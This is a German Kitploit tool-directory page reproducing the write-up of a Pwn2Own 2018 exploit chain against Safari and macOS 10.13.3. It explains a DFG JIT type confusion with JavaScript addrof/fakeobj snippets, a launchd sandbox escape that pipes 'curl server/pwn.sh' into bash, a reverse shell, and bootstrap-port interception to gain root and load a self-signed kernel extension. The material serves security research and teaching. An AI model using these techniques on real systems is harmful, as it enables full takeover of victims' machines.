Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
pwn2own2018 — A Pwn2Own exploit chain | Kitploit
Tools/GitHubGitHub/saelo/pwn2own2018
Privilege EscalationVulnerability AnalysisExploitationReverse EngineeringWeb Application ExploitationLearning & EducationPayload DevelopmentBinary Exploitation
GitHubsaelo/pwn2own2018

pwn2own2018

A Pwn2Own exploit chain

Repository anzeigen
759112vor 7 JahrenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Pwn2Own 2018: Safari + macOS

Safari RCE, Sandbox-Escape und LPE zum Kernel für macOS 10.13.3.

Verwendung

Installiere nasm und tornado:

root@kitploit:~
brew install nasm
pip3 install tornado

Überprüfe config.py, wenn du den Host oder die Ports ändern möchtest. Starte danach den Server mit ./server.py und navigiere zu der angezeigten URL.

Überblick

Diese Exploit-Kette nutzt drei verschiedene Bugs, um von JavaScript-Code, der in Safari läuft, zur Codeausführung im Kernel-Modus zu gelangen:

  1. Eine fehlerhafte Optimierung im DFG-JIT-Compiler, die verwendet werden kann, um eine Typverwechslung (Type Confusion) auszulösen
  2. Fehlende Sandbox-Prüfungen in launchd, die es sandboxierten Prozessen ermöglichen, beliebige (nicht sandboxierte) Prozesse zu starten
  3. Ein Logikfehler in XNU, der es einem Prozess erlaubt, den Bootstrap-Port seiner Kindprozesse zu überschreiben, was zu einer IPC-MitM-Situation führt

Die Exploit-Kette ist in sechs Stufen implementiert, die sich jeweils in einem eigenen Unterverzeichnis befinden:

  • stage0/: der WebKit-Exploit
  • stage1/: das Payload der ersten Stufe, geschrieben in Assembler
  • stage2/: das Payload der zweiten Stufe zur Durchführung des Sandbox-Escapes
  • stage3/: Shell-Skripte zur Koordination der übrigen Stufen
  • stage4/: ein LPE, um Root-Rechte zu erlangen
  • stage5/: ein LPE, um Codeausführung im Kernel zu erlangen
  • libspc/: Neuimplementierung des XPC-Protokolls, verwendet von den Stufen 2, 4 und 5

Jedes Unterverzeichnis (mit Ausnahme von libspc/) enthält eine Datei namens make.py, die bei Ausführung alle notwendigen Build-Befehle ausführt und eine Liste von Dateien erstellt, die vom Webserver ausgeliefert werden sollen.

Stufe 0

Ziel: Shellcode-Ausführung innerhalb des sandboxierten WebContent-Prozesses erreichen
Ausgenutzter Bug: fehlerhafte Optimierung im DFG-JIT-Compiler
Siehe auch diesen BlackHat-Vortrag

Der DFG-JIT-Compiler repräsentiert JavaScript-Code in seiner eigenen Zwischendarstellung (IR), dem Data Flow Graph (DFG). Typischerweise wird ein JavaScript-Ausdruck in diesem Graphen in eine oder mehrere IR-Anweisungen übersetzt. Im Fall einer Konstruktorfunktion wird die Anweisung CreateThis erzeugt, die für die Allokation des this-Objekts verantwortlich ist, das von der Funktion konstruiert wird. Als Beispiel würde die Funktion function Consructor() {}, wenn sie mit new aufgerufen wird, grob übersetzt zu

root@kitploit:~
v0 = CreateThis
return v0

Betrachtet man den AbstractInterpreter, sieht man, dass der DFG-JIT-Compiler annimmt, dass die CreateThis-Operation außer einer Heap-Allokation keine Seiteneffekte verursacht. Tatsächlich wird dieser Code:

root@kitploit:~
function Constructor(obj) {
    return obj.x;
}

grob in die folgenden DFG-Anweisungen übersetzt: (Hier wurde die StructureCheck von der TypeCheckHoistingPhase an den Anfang der Funktion verschoben).

root@kitploit:~
StructureCheck(arg1);
v0 = CreateThis;
v1 = LoadOffset(arg1, OFFSET)
return v1;

Diese Annahme ist jedoch ungültig, da der Slow-Path-Code für CreateThis in einigen Fällen beliebigen JavaScript-Code ausführen kann. Insbesondere wird durch die Verwendung eines Proxy um die eigentliche Funktion die get-Falle für die Eigenschaft „prototype“ während des Slow-Path-Handlers für CreateThis aufgerufen, da das Prototypobjekt des konstruierten Objekts abgerufen werden muss:

root@kitploit:~
function Constructor(obj) {
    return obj.x;
}

var handler = {
    get(target, propname) {
        /* run JS here, modify the structure of the argument object, etc. */
        return target[propname];
    },
};
var ConstructorProxy = new Proxy(Constructor, handler);

// Force JIT compilation of ConstructorProxy

Dadurch ist es nun möglich, die Structure eines Objekts zu verändern, ohne dass der JIT-Compiler ein Bailout durchführt.

Dieser Bug kann verwendet werden, um die addrof- und fakeobj-Primitive wie folgt zu konstruieren:

addrof

Wir kompilieren den Code für den Fall eines JSArray mit unboxed Double-Elementen und wechseln dann im Callback zu JSValue-Elementen. Danach lädt der JIT-Code einen JSValue aus dem Array, behandelt diese Bits jedoch als Double und gibt sie an uns zurück. Der folgende Code weist die Adresse von leakme der Eigenschaft „address“ des konstruierten Objekts zu.

root@kitploit:~
function InfoLeaker(a) {
    this.address = a[0];
}

var handler = {
    get(target, propname) {
        if (trigger)
            arg[0] = leakme;
        return target[propname];
    },
};
// ...

fakeobj

Hier gehen wir im Wesentlichen umgekehrt vor: Wir optimieren den Code, um ein Double in einem Array mit unboxed Double-Elementen zu speichern, und wechseln dann im Callback erneut zu JSValue-Elementen. Der Code schreibt unser kontrolliertes Double weiterhin in unboxed Form in den Backing Storage. Wenn wir später auf dieses Array-Element zugreifen, werden diese Bits als JSValue statt als Double behandelt. Der folgende Code schreibt das unboxed Double address in den Backing Buffer von a, den wir dann als JSValue auslesen können, wodurch wir in die Lage versetzt werden, JSValues unserer Wahl in die Engine zu „injizieren“.

root@kitploit:~
function ObjFaker(a, address) {
    a[0] = address;
}

var handler = {
    get(target, propname) {
        if (trigger)
            arg[0] = {};
        return target[propname];
    },
};
// ...

Somit haben wir die Fähigkeit, ein Double zu schreiben und es als JSObject-Zeiger zu behandeln und umgekehrt. Dies kann wie in attacking javascript engines beschrieben ausgenutzt werden.

Der Exploit erreicht zunächst beliebiges Lesen/Schreiben des Prozessspeichers, indem er ein Float64Array vortäuscht, sucht dann den JIT-Bereich (als RWX gemappt) und schreibt den Shellcode der Stufe 1 dorthin.

Stufe 1

Ziel: Stufe 2 bootstrappen, indem eine .dylib auf die Festplatte geschrieben und über dlopen() geladen wird

Ein kurzes Assembly-Payload, das im Wesentlichen Folgendes tut:

  1. confstr(\_CS\_DARWIN\_USER\_TEMP\_DIR) aufrufen, um einen Pfad zu einem beschreibbaren Verzeichnis zu erhalten
  2. Eine neue Datei namens 'x.dylib' im beschreibbaren Verzeichnis erstellen
  3. Die Dylib der Stufe 2 in die neu erstellte Datei schreiben
  4. Die Dylib über dlopen() in den WebContent-Prozess laden

Stufe 2

Ziel: aus der Sandbox ausbrechen
Ausgenutzter Bug: fehlende Sandbox-Prüfungen in der „legacy_spawn“-API von launchd
Siehe auch diesen Vortrag

Launchd stellt den RPC-Endpunkt „legacy_spawn“ als Routine 817 in Subsystem 3 bereit. Diese API überprüft nicht, ob dem Aufrufer das Starten von Prozessen erlaubt sein sollte, und führt für den Aufrufer einfach execve mit kontrollierten Argumenten auf einer beliebigen Binärdatei des Systems aus. Da launchd über den Bootstrap-Port erreichbar ist, ist es dadurch möglich, aus der Sandbox auszubrechen.

Der Exploit führt im Wesentlichen curl server/pwn.sh | bash aus und übergibt so die Kontrolle an Stufe 3.

Stufe 3

Ziel: calc starten und die übrigen Stufen bootstrappen

Dies führt open /Applications/Calculator.app aus und richtet eine Reverse Shell ein, holt dann alle für die übrigen Stufen erforderlichen Dateien und führt die Exploits aus.

Stufe 4

Ziel: Root-Rechte über einen LPE-Exploit erlangen
Ausgenutzter Bug: XNU-Bootstrap-Port-MitM
Siehe auch diesen POC-Vortrag

In XNU erlaubt die API task_set_special_port Aufrufern, ihren Bootstrap-Port zu überschreiben, der für die Kommunikation mit launchd verwendet wird. Dieser Port wird über Forks vererbt: Kindprozesse verwenden denselben Bootstrap-Port wie der Elternprozess. Ein Sicherheitsproblem entsteht nun, wenn der Kindprozess privilegierter ist als der Elternprozess, wie es zum Beispiel bei sudo (einer Setuid-Binärdatei) oder kextutil (mit der Berechtigung „com.apple.rootless.kext-management“) der Fall ist. Durch das Überschreiben des Bootstrap-Ports und das Forken eines Kindprozesses können wir nun eine MitM-Position zwischen unserem Kindprozess und launchd einnehmen (das unser Kindprozess beim Senden von Nachrichten an den Bootstrap-Port zu erreichen erwartet). Der Kindprozess wird launchd bitten, verschiedene Mach- und XPC-Dienste aufzulösen. Indem wir diese Dienste auf andere von uns kontrollierte Ports auflösen, können wir auch eine MitM-Position gegenüber beliebigen Systemdiensten einnehmen, die von unserem Kindprozess verwendet werden. Die Ausnutzung hängt dann davon ab, wie diese Dienste vom angegriffenen Programm verwendet werden.

Um Root-Rechte zu erlangen, zielen wir auf die sudo-Binärdatei und fangen ihre Kommunikation mit opendirectoryd ab, das von sudo zur Überprüfung von Anmeldeinformationen verwendet wird. Wir verändern die Antworten von opendirectoryd, sodass es so aussieht, als wäre unser Passwort gültig gewesen.

Es scheint, als habe es einen Versuch gegeben, dieses Problem zu beheben, da libxpc (das die Kommunikation mit launchd durchführt) überprüft, dass die Antworten tatsächlich von einem Prozess mit uid=0 und pid=1 (== launchd) stammen. Diese Prüfungen sind jedoch unzureichend. Wir können sie wie folgt umgehen, um opendirectoryd auf unseren eigenen Port aufzulösen:

  1. Einen eigenen Mach-Dienst (z.B. net.saelo.hax) mit launchd über die API bootstrap_register2 registrieren
  2. Die Service-Lookup-Anfrage an launchd abfangen und die Zeichenkette com.apple.system.opendirectoryd.api durch net.saelo.hax ersetzen
  3. Die Anfrage an launchd weiterleiten, aber den ursprünglichen Reply-Port beibehalten, sodass launchd direkt an den Kindprozess antwortet und die Prüfungen in libxpc in unserem Kindprozess erfolgreich sind

Was nun noch bleibt (für eine Privilegieneskalation zu Root), ist, die Nachrichten zwischen opendirectoryd und sudo weiterzuleiten, aber die Authentifizierungsfehler-Antwort durch eine Erfolgs-Antwort zu ersetzen.

Stufe 5

Ziel: eine (selbstsignierte) Kernel-Erweiterung laden
Ausgenutzter Bug: XNU-Bootstrap-Port-MitM

Dies nutzt denselben Fehler wie Stufe 4, zielt diesmal jedoch auf kextutil. Wir fangen die Verbindung zu com.apple.trustd ab und fälschen die Zertifikatskette, sodass kextutil annimmt, dass unser selbstsigniertes Kext tatsächlich direkt von Apple signiert ist.

kextutil geht beim Laden eines .kext von der Festplatte grob wie folgt vor:

  1. Die Integrität des .kext überprüfen, indem alle Signaturen gegen das bereitgestellte Zertifikat geprüft werden
  2. Mit trustd kommunizieren, um die Zertifikatskette zu erhalten und festzustellen, ob das Wurzelzertifikat vertrauenswürdig ist
  3. Überprüfen, ob das Wurzelzertifikat der Kette ein Apple-Zertifikat ist
  4. Überprüfen, ob das .kext vom Benutzer genehmigt ist, indem mit syspolicyd kommuniziert wird. Wenn syspolicyd jedoch nicht erreichbar ist, fährt kextutil einfach fort

Dies ermöglicht den folgenden Angriff zum Laden selbstsignierter Kernel-Erweiterungen:

  1. Ein .kext erstellen und mit einem selbstsignierten Zertifikat signieren
  2. kextutil ausführen und com.apple.trustd auf unseren eigenen Dienst auflösen
  3. Nachrichten an trustd abfangen und mit einer hartkodierten Zertifikatskette eines offiziellen .kext von Apple antworten
  4. Die Kommunikation mit syspolicyd blockieren (z.B. indem com.apple.security.syspolicy.kext in Service-Lookup-Anfragen an launchd durch net.saelo.lolno ersetzt wird)

kextutil wird nun unsere Kernel-Erweiterung in den Kernel laden.

Tool herunterladen